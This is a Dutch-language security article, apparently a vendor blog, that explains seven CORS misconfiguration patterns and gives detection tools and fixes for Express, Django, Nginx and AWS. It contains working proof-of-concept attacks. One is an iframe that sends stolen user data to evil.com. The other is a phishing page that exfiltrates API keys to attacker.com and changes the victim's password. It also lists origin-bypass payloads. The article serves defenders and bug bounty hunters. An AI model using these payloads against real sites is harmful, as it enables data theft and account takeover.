CORS-misconfiguratie: de meest voorkomende bugbountybevinding in 2026
Cross-Origin Resource Sharing-misconfiguraties zijn goed voor 23% van alle geaccepteerde webapplicatie-bugbountybevindingen in 2026 — meer dan XSS, IDOR en SSRF samen. Ondanks dat het sinds 2016 goed gedocumenteerd is, blijft CORS de kwetsbaarheidsklasse die ontwikkelaars het vaakst verkeerd configureren. Deze diepgaande analyse behandelt elk misconfiguratiepatroon, toont exploitatiescenario's uit de praktijk met werkende PoC-code, en biedt productieklare fixes voor elk groot framework en elke cloudprovider.
Waarom CORS in 2026 nog steeds domineert
De paradox van CORS is dat het tegelijkertijd een van de best gedocumenteerde en meest verkeerd geconfigureerde beveiligingsmechanismen op het web is. Drie factoren verklaren waarom het nog steeds bovenaan staat, een decennium na de eerste grote openbaarmakingen:
- Microservice-explosie: de gemiddelde bedrijfswebapplicatie communiceert nu met 47 interne API's, 12 diensten van derden en 8 CDN-oorsprongen. Elke cross-origin-relatie vereist expliciete CORS-configuratie, en ontwikkelaars onder opleveringsdruk nemen kortere wegen.
- Frameworkstandaarden favoriseren permissiviteit: populaire frameworks zoals Express.js (met de
cors-middleware), Django en Spring Boot maken het triviaal eenvoudig omAccess-Control-Allow-Origin: *in te stellen tijdens ontwikkeling — en die wildcard heeft de nare gewoonte om productie te overleven. - Complexiteit van cloudinfrastructuur: multi-cloud-implementaties, API-gateways, CDN-edge-regels en reverse proxy's voegen elk een laag toe waar CORS-headers kunnen worden ingesteld, overschreven of verwijderd. Een correct geconfigureerde applicatieserver kan worden ondermijnd door een te permissieve CloudFront- of Cloudflare-regel stroomopwaarts.
📊 In cijfers (Q1 2026): het kwartaalrapport van HackerOne toont dat CORS-misconfiguraties 23,1% van de geaccepteerde webapp-bevindingen vertegenwoordigden, gevolgd door Broken Access Control (18,7%), XSS (14,2%), IDOR (11,8%) en SSRF (8,4%). De gemiddelde bounty-uitbetaling voor een CORS-bevinding met aangetoonde impact was $2.340 — een stijging van 45% ten opzichte van 2025 nu programma's steeds meer het potentieel van exploitatie in de praktijk erkennen.
De zeven CORS-misconfiguratiepatronen
Niet alle CORS-misconfiguraties zijn gelijk. Dit zijn de zeven patronen die bugbountyhunters het vaakst vinden, gerangschikt op ernst en exploiteerbaarheid:
Patroon 1: origin-reflectie (kritiek)
De server reflecteert blindelings de Origin-requestheader in de Access-Control-Allow-Origin-responseheader. Dit is het gevaarlijkste patroon omdat het elke website toestaat geauthenticeerde responsen van de kwetsbare API te lezen.
# Request from attacker-controlled origin
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123
# Vulnerable response — reflects attacker origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"email":"user@company.com","api_key":"sk-prod-..."}
Wanneer Access-Control-Allow-Credentials: true wordt gecombineerd met origin-reflectie, kan de website van een aanvaller geauthenticeerde cross-origin-verzoeken doen en de respons lezen — inclusief sessietokens, API-sleutels, PII en alle andere data waar de browser van het slachtoffer toegang toe heeft. Dit omzeilt effectief het Same-Origin Policy volledig.
Patroon 2: allowlisting van null-origin (hoog)
Sommige servers staan expliciet de null-origin toe, hetzij door misconfiguratie hetzij door misverstand. De null-origin wordt door browsers in verschillende contexten verzonden: gesandboxte iframes, data:-URL's, lokale bestandstoegang en cross-origin-redirects.
# Attacker serves this HTML page
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
fetch('https://api.target.com/api/user/data', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Exfiltrate to attacker server
navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
});
</script>">
</iframe>
Patroon 3: regex-bypass bij origin-validatie (hoog)
Ontwikkelaars implementeren origin-validatie vaak met regex-patronen die subtiele fouten bevatten. De meest voorkomende fouten:
| Bedoelde toestemming | Foutieve regex | Bypass-origin |
|---|---|---|
| *.target.com | /target\.com$/ | evil-target.com |
| app.target.com | /^https?:\/\/.*target\.com/ | target.com.evil.com |
| *.target.com | /\.target\.com$/ | evil.com/.target.com (padverwarring) |
| alleen target.com | /target.com/ (niet-geëscapete punt) | targetXcom.evil.com |
Patroon 4: wildcard met credentials (gemiddeld-hoog)
Hoewel browsers afdwingen dat Access-Control-Allow-Origin: * niet gecombineerd kan worden met Access-Control-Allow-Credentials: true, omzeilen veel serverside-frameworks dit door de combinatie te detecteren en stilzwijgend over te schakelen naar origin-reflectie — waardoor Patroon 1 via de achterdeur ontstaat.
Het npm-package cors (gebruikt door 73% van de Node.js-API's) doet precies dit wanneer geconfigureerd met origin: true en credentials: true. Ontwikkelaars die denken een wildcard in te stellen, schakelen in werkelijkheid volledige origin-reflectie in.
Patroon 5: preflight-cachevervuiling (gemiddeld)
De header Access-Control-Max-Age vertelt browsers hoe lang preflight-responsen (OPTIONS) gecached moeten worden. Als een server permissieve CORS-headers retourneert voor het ene verzoekpad en restrictieve headers voor een ander, kan een aanvaller de browser dwingen de permissieve preflight te cachen en deze vervolgens hergebruiken voor beperkte endpoints.
Patroon 6: escalatie van subdomeinvertrouwen (gemiddeld)
Veel applicaties staan CORS toe vanaf alle subdomeinen: *.target.com. Dit creëert een transitieve vertrouwensrelatie waarbij elke XSS op elk subdomein — inclusief vergeten staging-omgevingen, legacyapplicaties of gehoste subdomeinen van derden — kan worden ingezet om de API van de hoofdapplicatie aan te vallen.
Wanneer u een CORS-beleid vindt dat *.target.com vertrouwt, enumereer dan onmiddellijk subdomeinen en zoek naar XSS op elk daarvan — vooral op marketingsites, statuspagina's, documentatieportalen en klantensupporttools. Een reflected XSS op blog.target.com gecombineerd met subdomein-CORS-vertrouwen geeft u volledige toegang tot data van api.target.com. Deze keten levert regelmatig ernstclassificaties Hoog/Kritiek op.
Patroon 7: ontbrekende Vary: Origin-header (laag-gemiddeld)
Wanneer een server dynamisch Access-Control-Allow-Origin instelt op basis van de request-origin, moet deze ook Vary: Origin opnemen. Zonder deze kunnen CDN-caches en browsercaches een respons met de CORS-headers van de ene origin serveren aan een verzoek van een andere origin, wat intermitterende toegangscontrolefouten veroorzaakt.
Exploitatie in de praktijk: stapsgewijs aanvalsscenario
Hier is een compleet exploitatiescenario dat laat zien hoe een CORS-misconfiguratie leidt tot accountovername:
Het doelwit
Een fintech-applicatie op app.fintech-target.com met een API op api.fintech-target.com. De API serveert gebruikersprofieldata inclusief e-mail, telefoonnummer en API-sleutels gebruikt voor programmatisch handelen.
De kwetsbaarheid
De API gebruikt origin-reflectie (Patroon 1) met credentials ingeschakeld. Het endpoint /api/v2/account/settings retourneert de API-sleutel van de gebruiker en staat wachtwoordwijzigingen toe via een PUT-verzoek.
De exploit
<!-- Hosted on attacker.com, linked via phishing email -->
<html>
<body>
<h1>Loading your portfolio analysis...</h1>
<script>
// Step 1: Steal API key and user data
fetch('https://api.fintech-target.com/api/v2/account/settings', {
credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
// Step 2: Exfiltrate to attacker server
await fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
email: data.email,
api_key: data.api_key,
phone: data.phone
})
});
// Step 3: Change the user's password
await fetch('https://api.fintech-target.com/api/v2/account/settings', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
password: 'attacker-controlled-password-2026!'
})
});
// Step 4: Redirect to legitimate site to avoid suspicion
window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>
De volledige aanval wordt in minder dan 500ms uitgevoerd. Het slachtoffer ziet een kort laadscherm en vervolgens zijn normale dashboard. Ondertussen heeft de aanvaller de API-sleutel bemachtigd en het wachtwoord gewijzigd.
Detectie: CORS-misconfiguraties op schaal vinden
Geautomatiseerde scanning
Effectieve CORS-scanning vereist het testen van meerdere origin-permutaties tegen elk endpoint dat CORS-headers retourneert. Dit is de testmatrix:
| Testgeval | Origin-headerwaarde | Kwetsbaar indien gereflecteerd |
|---|---|---|
| Volledige reflectie | https://evil.com | Ja — elke origin geaccepteerd |
| Null-origin | null | Ja — iframe-sandboxbypass |
| Subdomeinmisbruik | https://evil.target.com | Ja — indien subdomeinpatroon overeenkomt |
| Prefixbypass | https://target.com.evil.com | Ja — regexfout |
| Suffixbypass | https://evil-target.com | Ja — ontbrekend anker in regex |
| Protocoldowngrade | http://target.com | Ja — indien alleen-HTTPS niet afgedwongen |
| Speciale tekens | https://target.com%60.evil.com | Ja — parserverschil |
Gereedschap van het vak
- CORScanner: opensource Python-tool die de volledige testmatrix automatiseert. Voer het uit tegen uw lijst met API-endpoints:
python cors_scan.py -i urls.txt -t 50 - Burp Suite-extensies: "CORS* Burp" en "Additional CORS Checks" markeren CORS-problemen passief tijdens handmatig testen.
- Nuclei-templates: Nuclei van ProjectDiscovery heeft 14 CORS-specifieke templates die alle zeven misconfiguratiepatronen dekken.
nuclei -t cors/ -l targets.txt - Geautomatiseerde KENSAI-scanning: continue detectie van CORS-misconfiguraties als onderdeel van een volledige beoordeling van de applicatiebeveiligingspositie.
Productieklare fixes
Node.js / Express
const cors = require('cors');
// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));
// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
'https://app.yoursite.com',
'https://admin.yoursite.com'
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, curl, etc.)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
return callback(null, true);
}
callback(new Error('CORS policy violation'));
},
credentials: true,
maxAge: 600, // 10 minute preflight cache
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
Python / Django
# settings.py
# ❌ WRONG
CORS_ALLOW_ALL_ORIGINS = True
# ✅ CORRECT
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
"https://app.yoursite.com",
"https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600
Nginx
# ❌ WRONG — reflects Origin header
add_header 'Access-Control-Allow-Origin' $http_origin always;
# ✅ CORRECT — map-based allowlist
map $http_origin $cors_origin {
default "";
"https://app.yoursite.com" $http_origin;
"https://admin.yoursite.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin = "") {
return 403;
}
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
add_header 'Access-Control-Max-Age' 600;
add_header 'Content-Length' 0;
return 204;
}
}
}
AWS API Gateway / CloudFront
# AWS CDK / CloudFormation
CorsConfiguration:
AllowOrigins:
- "https://app.yoursite.com"
- "https://admin.yoursite.com"
AllowMethods:
- GET
- POST
- PUT
- DELETE
AllowHeaders:
- Content-Type
- Authorization
AllowCredentials: true
MaxAge: 600
# ⚠ WARNING: Do NOT use AllowOrigins: ["*"] with AllowCredentials: true
# AWS will silently convert this to origin reflection
CORS in het tijdperk van API-first-architectuur
De verschuiving naar API-first-architecturen heeft het CORS-landschap fundamenteel veranderd. In 2020 deed een typische webapplicatie cross-origin-verzoeken aan misschien 3-5 diensten. In 2026 doen applicaties gebouwd op microservices, serverless functies en API-integraties van derden routinematig cross-origin-verzoeken aan tientallen origins.
Deze complexiteit stuurt verschillende architecturale reacties aan:
- Centralisatie van API-gateway: alle CORS-afhandeling verplaatsen naar één enkele API-gatewaylaag (Kong, AWS API Gateway, Cloudflare Workers) in plaats van elke microservice afzonderlijk te configureren. Dit vermindert het oppervlak voor misconfiguratie maar introduceert een single point of failure.
- Tokengebaseerde authenticatie boven cookies: applicaties die overstappen van cookiegebaseerde sessies naar Bearer-tokenauthenticatie vermijden de vereiste
credentials: includevolledig, waardoor CORS-misconfiguraties minder impactvol worden (hoewel niet onschadelijk). - Backend-for-Frontend (BFF)-patroon: een serverside proxy die alle cross-origin-API-aanroepen namens de frontend doet, waardoor clientside CORS volledig wordt geëlimineerd. De afweging is extra latentie en infrastructuurcomplexiteit.
Checklist voor preventie van CORS-misconfiguratie
Voor ontwikkelaars en beveiligingsteams — controleer elk item in uw applicaties:
- ☐ CORS-origins zijn expliciet op de allowlist gezet (geen reflectie, geen wildcards met credentials)
- ☐
null-origin staat NIET op de allowlist - ☐ Origin-validatie gebruikt exacte stringmatching, geen regex (of de regex is beoordeeld door beveiliging)
- ☐
Vary: Origin-header is opgenomen wanneer CORS-headers dynamisch zijn - ☐
Access-Control-Allow-Methodsis beperkt tot alleen vereiste HTTP-methoden - ☐
Access-Control-Allow-Headersis beperkt tot alleen vereiste headers - ☐
Access-Control-Max-Ageis ingesteld op een redelijke waarde (300-600 seconden) - ☐ CORS-configuratie is consistent over alle lagen (appserver, reverse proxy, CDN, API-gateway)
- ☐ Geautomatiseerde CORS-scanning maakt deel uit van de CI/CD-pipeline
- ☐ Subdomeinvertrouwensscope is geminimaliseerd en wordt elk kwartaal beoordeeld
Belangrijkste inzichten
- CORS-misconfiguratie is de #1-bugbountybevinding in 2026 — 23% van alle geaccepteerde webapp-rapporten.
- Origin-reflectie met credentials is het gevaarlijkste patroon, dat volledige data-exfiltratie en accountovername mogelijk maakt vanaf elke door de aanvaller gecontroleerde website.
- Zeven afzonderlijke misconfiguratiepatronen bestaan, elk met specifieke detectie- en remediëringsbenaderingen.
- Regexgebaseerde origin-validatie is een mijnenveld — gebruik exacte stringmatching tegen een expliciete allowlist.
- Frameworkstandaarden zijn geen veilige standaarden — elk groot webframework maakt het te gemakkelijk om te permissieve CORS te configureren.
- Centraliseer CORS op de API-gatewaylaag waar mogelijk om het configuratieoppervlak te verkleinen.
- Automatiseer detectie in uw CI/CD-pipeline met tools zoals Nuclei, CORScanner of continue beveiligingsplatformen.
KENSAI Research · 3 april 2026
KENSAI detecteert automatisch alle zeven CORS-misconfiguratiepatronen over uw volledige API-oppervlak — inclusief subdomeinvertrouwensketens, regexbypasses en CDN-laagoverschrijvingen. Krijg uw eerste scanresultaten binnen minuten, niet dagen.
Start gratis CORS-audit